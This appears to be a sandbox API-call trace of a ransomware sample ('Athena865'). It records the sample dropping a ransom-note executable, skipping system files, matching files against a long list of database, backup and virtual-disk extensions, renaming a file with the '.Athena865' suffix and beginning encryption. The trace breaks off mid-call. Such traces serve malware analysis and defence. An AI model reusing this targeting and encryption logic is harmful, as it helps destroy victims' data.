(lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0060.031] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0060.031] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0060.031] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0060.031] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2=".") returned 1 [0060.031] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="..") returned 1 [0060.031] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="windows") returned -1 [0060.031] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="bootmgr") returned -1 [0060.031] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="temp") returned -1 [0060.031] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="pagefile.sys") returned -1 [0060.031] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="boot") returned -1 [0060.032] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="ids.txt") returned -1 [0060.032] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="ntuser.dat") returned -1 [0060.032] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="perflogs") returned -1 [0060.032] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="MSBuild") returned -1 [0060.032] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0060.032] lstrcpyW (in: lpString1=0x241e8c6, lpString2="AccessMUISet.msi" | out: lpString1="AccessMUISet.msi") returned="AccessMUISet.msi" [0060.032] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0060.032] lstrlenW (lpString="Athena865") returned 9 [0060.032] lstrcmpiW (lpString1="UISet.msi", lpString2="Athena865") returned 1 [0060.032] lstrlenW (lpString=".dll") returned 4 [0060.032] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2=".dll") returned 1 [0060.032] lstrlenW (lpString=".lnk") returned 4 [0060.032] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2=".lnk") returned 1 [0060.032] lstrlenW (lpString=".ini") returned 4 [0060.032] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2=".ini") returned 1 [0060.032] lstrlenW (lpString=".sys") returned 4 [0060.032] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2=".sys") returned 1 [0060.032] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0060.032] lstrlenW (lpString="bak") returned 3 [0060.032] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0060.032] lstrlenW (lpString="ba_") returned 3 [0060.032] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0060.032] lstrlenW (lpString="dbb") returned 3 [0060.032] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0060.032] lstrlenW (lpString="vmdk") returned 4 [0060.032] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0060.032] lstrlenW (lpString="rar") returned 3 [0060.032] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0060.032] lstrlenW (lpString="zip") returned 3 [0060.032] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0060.032] lstrlenW (lpString="tgz") returned 3 [0060.033] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0060.033] lstrlenW (lpString="vbox") returned 4 [0060.033] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0060.033] lstrlenW (lpString="vdi") returned 3 [0060.033] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0060.033] lstrlenW (lpString="vhd") returned 3 [0060.033] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0060.033] lstrlenW (lpString="vhdx") returned 4 [0060.033] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0060.033] lstrlenW (lpString="avhd") returned 4 [0060.033] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0060.033] lstrlenW (lpString="db") returned 2 [0060.033] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0060.033] lstrlenW (lpString="db2") returned 3 [0060.033] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0060.033] lstrlenW (lpString="db3") returned 3 [0060.033] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0060.033] lstrlenW (lpString="dbf") returned 3 [0060.033] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0060.033] lstrlenW (lpString="mdf") returned 3 [0060.033] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0060.033] lstrlenW (lpString="mdb") returned 3 [0060.033] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0060.033] lstrlenW (lpString="sql") returned 3 [0060.033] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0060.033] lstrlenW (lpString="sqlite") returned 6 [0060.033] lstrcmpiW (lpString1="et.msi", lpString2="sqlite") returned -1 [0060.033] lstrlenW (lpString="sqlite3") returned 7 [0060.033] lstrcmpiW (lpString1="Set.msi", lpString2="sqlite3") returned -1 [0060.033] lstrlenW (lpString="sqlitedb") returned 8 [0060.033] lstrcmpiW (lpString1="ISet.msi", lpString2="sqlitedb") returned -1 [0060.033] lstrlenW (lpString="xml") returned 3 [0060.033] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0060.034] lstrlenW (lpString="$er") returned 3 [0060.034] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0060.034] lstrlenW (lpString="4dd") returned 3 [0060.034] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0060.034] lstrlenW (lpString="4dl") returned 3 [0060.034] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0060.034] lstrlenW (lpString="^^^") returned 3 [0060.034] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0060.034] lstrlenW (lpString="abs") returned 3 [0060.034] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0060.034] lstrlenW (lpString="abx") returned 3 [0060.034] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0060.034] lstrlenW (lpString="accdb") returned 5 [0060.034] lstrcmpiW (lpString1="t.msi", lpString2="accdb") returned 1 [0060.034] lstrlenW (lpString="accdc") returned 5 [0060.034] lstrcmpiW (lpString1="t.msi", lpString2="accdc") returned 1 [0060.034] lstrlenW (lpString="accde") returned 5 [0060.034] lstrcmpiW (lpString1="t.msi", lpString2="accde") returned 1 [0060.034] lstrlenW (lpString="accdr") returned 5 [0060.034] lstrcmpiW (lpString1="t.msi", lpString2="accdr") returned 1 [0060.034] lstrlenW (lpString="accdt") returned 5 [0060.034] lstrcmpiW (lpString1="t.msi", lpString2="accdt") returned 1 [0060.034] lstrlenW (lpString="accdw") returned 5 [0060.034] lstrcmpiW (lpString1="t.msi", lpString2="accdw") returned 1 [0060.034] lstrlenW (lpString="accft") returned 5 [0060.034] lstrcmpiW (lpString1="t.msi", lpString2="accft") returned 1 [0060.034] lstrlenW (lpString="adb") returned 3 [0060.034] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0060.034] lstrlenW (lpString="adb") returned 3 [0060.034] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0060.034] lstrlenW (lpString="ade") returned 3 [0060.034] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0060.035] lstrlenW (lpString="adf") returned 3 [0060.035] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0060.035] lstrlenW (lpString="adn") returned 3 [0060.035] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0060.035] lstrlenW (lpString="adp") returned 3 [0060.035] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0060.035] lstrlenW (lpString="alf") returned 3 [0060.035] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0060.035] lstrlenW (lpString="ask") returned 3 [0060.035] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0060.035] lstrlenW (lpString="btr") returned 3 [0060.035] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0060.035] lstrlenW (lpString="cat") returned 3 [0060.035] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0060.035] lstrlenW (lpString="cdb") returned 3 [0060.035] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0060.035] lstrlenW (lpString="ckp") returned 3 [0060.035] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0060.035] lstrlenW (lpString="cma") returned 3 [0060.035] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0060.035] lstrlenW (lpString="cpd") returned 3 [0060.035] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0060.035] lstrlenW (lpString="dacpac") returned 6 [0060.035] lstrcmpiW (lpString1="et.msi", lpString2="dacpac") returned 1 [0060.035] lstrlenW (lpString="dad") returned 3 [0060.035] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0060.035] lstrlenW (lpString="dadiagrams") returned 10 [0060.035] lstrcmpiW (lpString1="MUISet.msi", lpString2="dadiagrams") returned 1 [0060.035] lstrlenW (lpString="daschema") returned 8 [0060.035] lstrcmpiW (lpString1="ISet.msi", lpString2="daschema") returned 1 [0060.035] lstrlenW (lpString="db-journal") returned 10 [0060.035] lstrcmpiW (lpString1="MUISet.msi", lpString2="db-journal") returned 1 [0060.035] lstrlenW (lpString="db-shm") returned 6 [0060.036] lstrcmpiW (lpString1="et.msi", lpString2="db-shm") returned 1 [0060.036] lstrlenW (lpString="db-wal") returned 6 [0060.036] lstrcmpiW (lpString1="et.msi", lpString2="db-wal") returned 1 [0060.036] lstrlenW (lpString="dbc") returned 3 [0060.036] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0060.036] lstrlenW (lpString="dbs") returned 3 [0060.036] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0060.036] lstrlenW (lpString="dbt") returned 3 [0060.036] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0060.036] lstrlenW (lpString="dbv") returned 3 [0060.036] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0060.036] lstrlenW (lpString="dbx") returned 3 [0060.036] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0060.036] lstrlenW (lpString="dcb") returned 3 [0060.036] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0060.036] lstrlenW (lpString="dct") returned 3 [0060.036] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0060.036] lstrlenW (lpString="dcx") returned 3 [0060.036] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0060.036] lstrlenW (lpString="ddl") returned 3 [0060.036] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0060.036] lstrlenW (lpString="dlis") returned 4 [0060.036] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0060.036] lstrlenW (lpString="dp1") returned 3 [0060.036] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0060.036] lstrlenW (lpString="dqy") returned 3 [0060.036] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0060.036] lstrlenW (lpString="dsk") returned 3 [0060.036] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0060.036] lstrlenW (lpString="dsn") returned 3 [0060.036] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0060.036] lstrlenW (lpString="dtsx") returned 4 [0060.036] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0060.037] lstrlenW (lpString="dxl") returned 3 [0060.037] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0060.037] lstrlenW (lpString="eco") returned 3 [0060.037] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0060.037] lstrlenW (lpString="ecx") returned 3 [0060.037] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0060.037] lstrlenW (lpString="edb") returned 3 [0060.037] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0060.037] lstrlenW (lpString="epim") returned 4 [0060.037] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0060.037] lstrlenW (lpString="fcd") returned 3 [0060.037] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0060.037] lstrlenW (lpString="fdb") returned 3 [0060.037] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0060.037] lstrlenW (lpString="fic") returned 3 [0060.037] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0060.037] lstrlenW (lpString="flexolibrary") returned 12 [0060.037] lstrcmpiW (lpString1="ssMUISet.msi", lpString2="flexolibrary") returned 1 [0060.037] lstrlenW (lpString="fm5") returned 3 [0060.037] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0060.037] lstrlenW (lpString="fmp") returned 3 [0060.037] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0060.037] lstrlenW (lpString="fmp12") returned 5 [0060.037] lstrcmpiW (lpString1="t.msi", lpString2="fmp12") returned 1 [0060.037] lstrlenW (lpString="fmpsl") returned 5 [0060.037] lstrcmpiW (lpString1="t.msi", lpString2="fmpsl") returned 1 [0060.037] lstrlenW (lpString="fol") returned 3 [0060.037] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0060.037] lstrlenW (lpString="fp3") returned 3 [0060.037] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0060.037] lstrlenW (lpString="fp4") returned 3 [0060.037] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0060.037] lstrlenW (lpString="fp5") returned 3 [0060.038] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0060.038] lstrlenW (lpString="fp7") returned 3 [0060.038] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0060.038] lstrlenW (lpString="fpt") returned 3 [0060.038] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0060.038] lstrlenW (lpString="frm") returned 3 [0060.038] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0060.038] lstrlenW (lpString="gdb") returned 3 [0060.038] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0060.038] lstrlenW (lpString="gdb") returned 3 [0060.038] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0060.038] lstrlenW (lpString="grdb") returned 4 [0060.038] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0060.038] lstrlenW (lpString="gwi") returned 3 [0060.038] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0060.038] lstrlenW (lpString="hdb") returned 3 [0060.038] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0060.038] lstrlenW (lpString="his") returned 3 [0060.038] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0060.038] lstrlenW (lpString="ib") returned 2 [0060.038] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0060.038] lstrlenW (lpString="idb") returned 3 [0060.038] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0060.038] lstrlenW (lpString="ihx") returned 3 [0060.038] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0060.038] lstrlenW (lpString="itdb") returned 4 [0060.038] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0060.038] lstrlenW (lpString="itw") returned 3 [0060.038] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0060.038] lstrlenW (lpString="jet") returned 3 [0060.038] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0060.038] lstrlenW (lpString="jtx") returned 3 [0060.039] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0060.039] lstrlenW (lpString="kdb") returned 3 [0060.039] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0060.039] lstrlenW (lpString="kexi") returned 4 [0060.039] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0060.039] lstrlenW (lpString="kexic") returned 5 [0060.039] lstrcmpiW (lpString1="t.msi", lpString2="kexic") returned 1 [0060.039] lstrlenW (lpString="kexis") returned 5 [0060.039] lstrcmpiW (lpString1="t.msi", lpString2="kexis") returned 1 [0060.039] lstrlenW (lpString="lgc") returned 3 [0060.039] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0060.039] lstrlenW (lpString="lwx") returned 3 [0060.039] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0060.039] lstrlenW (lpString="maf") returned 3 [0060.039] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0060.039] lstrlenW (lpString="maq") returned 3 [0060.039] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0060.039] lstrlenW (lpString="mar") returned 3 [0060.039] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0060.039] lstrlenW (lpString="marshal") returned 7 [0060.039] lstrcmpiW (lpString1="Set.msi", lpString2="marshal") returned 1 [0060.039] lstrlenW (lpString="mas") returned 3 [0060.039] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0060.039] lstrlenW (lpString="mav") returned 3 [0060.039] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0060.039] lstrlenW (lpString="maw") returned 3 [0060.039] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0060.039] lstrlenW (lpString="mdbhtml") returned 7 [0060.039] lstrcmpiW (lpString1="Set.msi", lpString2="mdbhtml") returned 1 [0060.039] lstrlenW (lpString="mdn") returned 3 [0060.039] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0060.039] lstrlenW (lpString="mdt") returned 3 [0060.039] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0060.040] lstrlenW (lpString="mfd") returned 3 [0060.040] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0060.040] lstrlenW (lpString="mpd") returned 3 [0060.040] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0060.040] lstrlenW (lpString="mrg") returned 3 [0060.040] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0060.040] lstrlenW (lpString="mud") returned 3 [0060.040] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0060.040] lstrlenW (lpString="mwb") returned 3 [0060.040] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0060.040] lstrlenW (lpString="myd") returned 3 [0060.040] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0060.040] lstrlenW (lpString="ndf") returned 3 [0060.040] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0060.040] lstrlenW (lpString="nnt") returned 3 [0060.040] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0060.040] lstrlenW (lpString="nrmlib") returned 6 [0060.040] lstrcmpiW (lpString1="et.msi", lpString2="nrmlib") returned -1 [0060.040] lstrlenW (lpString="ns2") returned 3 [0060.040] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0060.040] lstrlenW (lpString="ns3") returned 3 [0060.040] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0060.040] lstrlenW (lpString="ns4") returned 3 [0060.040] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0060.040] lstrlenW (lpString="nsf") returned 3 [0060.040] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0060.040] lstrlenW (lpString="nv") returned 2 [0060.040] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0060.040] lstrlenW (lpString="nv2") returned 3 [0060.040] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0060.040] lstrlenW (lpString="nwdb") returned 4 [0060.040] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0060.041] lstrlenW (lpString="nyf") returned 3 [0060.041] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0060.041] lstrlenW (lpString="odb") returned 3 [0060.041] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0060.041] lstrlenW (lpString="odb") returned 3 [0060.041] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0060.041] lstrlenW (lpString="oqy") returned 3 [0060.041] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0060.041] lstrlenW (lpString="ora") returned 3 [0060.041] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0060.041] lstrlenW (lpString="orx") returned 3 [0060.041] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0060.041] lstrlenW (lpString="owc") returned 3 [0060.041] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0060.041] lstrlenW (lpString="p96") returned 3 [0060.041] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0060.041] lstrlenW (lpString="p97") returned 3 [0060.041] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0060.041] lstrlenW (lpString="pan") returned 3 [0060.041] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0060.041] lstrlenW (lpString="pdb") returned 3 [0060.041] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0060.041] lstrlenW (lpString="pdm") returned 3 [0060.041] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0060.041] lstrlenW (lpString="pnz") returned 3 [0060.041] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0060.041] lstrlenW (lpString="qry") returned 3 [0060.041] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0060.041] lstrlenW (lpString="qvd") returned 3 [0060.041] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0060.041] lstrlenW (lpString="rbf") returned 3 [0060.041] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0060.042] lstrlenW (lpString="rctd") returned 4 [0060.042] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0060.042] lstrlenW (lpString="rod") returned 3 [0060.042] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0060.042] lstrlenW (lpString="rodx") returned 4 [0060.042] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0060.042] lstrlenW (lpString="rpd") returned 3 [0060.042] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0060.042] lstrlenW (lpString="rsd") returned 3 [0060.042] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0060.042] lstrlenW (lpString="sas7bdat") returned 8 [0060.042] lstrcmpiW (lpString1="ISet.msi", lpString2="sas7bdat") returned -1 [0060.042] lstrlenW (lpString="sbf") returned 3 [0060.042] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0060.042] lstrlenW (lpString="scx") returned 3 [0060.042] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0060.042] lstrlenW (lpString="sdb") returned 3 [0060.042] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0060.042] lstrlenW (lpString="sdc") returned 3 [0060.042] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0060.042] lstrlenW (lpString="sdf") returned 3 [0060.042] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0060.042] lstrlenW (lpString="sis") returned 3 [0060.042] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0060.042] lstrlenW (lpString="spq") returned 3 [0060.042] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0060.042] lstrlenW (lpString="te") returned 2 [0060.042] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0060.042] lstrlenW (lpString="teacher") returned 7 [0060.042] lstrcmpiW (lpString1="Set.msi", lpString2="teacher") returned -1 [0060.042] lstrlenW (lpString="tmd") returned 3 [0060.042] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0060.043] lstrlenW (lpString="tps") returned 3 [0060.043] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0060.043] lstrlenW (lpString="trc") returned 3 [0060.043] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0060.043] lstrlenW (lpString="trc") returned 3 [0060.043] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0060.043] lstrlenW (lpString="trm") returned 3 [0060.043] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0060.043] lstrlenW (lpString="udb") returned 3 [0060.043] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0060.043] lstrlenW (lpString="udl") returned 3 [0060.043] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0060.043] lstrlenW (lpString="usr") returned 3 [0060.043] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0060.043] lstrlenW (lpString="v12") returned 3 [0060.043] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0060.043] lstrlenW (lpString="vis") returned 3 [0060.043] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0060.043] lstrlenW (lpString="vpd") returned 3 [0060.043] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0060.043] lstrlenW (lpString="vvv") returned 3 [0060.043] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0060.043] lstrlenW (lpString="wdb") returned 3 [0060.043] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0060.043] lstrlenW (lpString="wmdb") returned 4 [0060.043] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0060.043] lstrlenW (lpString="wrk") returned 3 [0060.043] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0060.043] lstrlenW (lpString="xdb") returned 3 [0060.043] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0060.043] lstrlenW (lpString="xld") returned 3 [0060.043] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0060.044] lstrlenW (lpString="xmlff") returned 5 [0060.044] lstrcmpiW (lpString1="t.msi", lpString2="xmlff") returned -1 [0060.044] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.Athena865") returned 89 [0060.044] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.athena865"), dwFlags=0x1) returned 1 [0060.044] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0060.044] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=868864) returned 1 [0060.044] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0060.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0060.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0060.045] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0060.045] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0060.045] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0060.046] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd4500, lpName=0x0) returned 0x17c [0060.048] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd4500) returned 0x2d50000 [0060.087] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0060.088] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0060.088] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0060.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0060.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 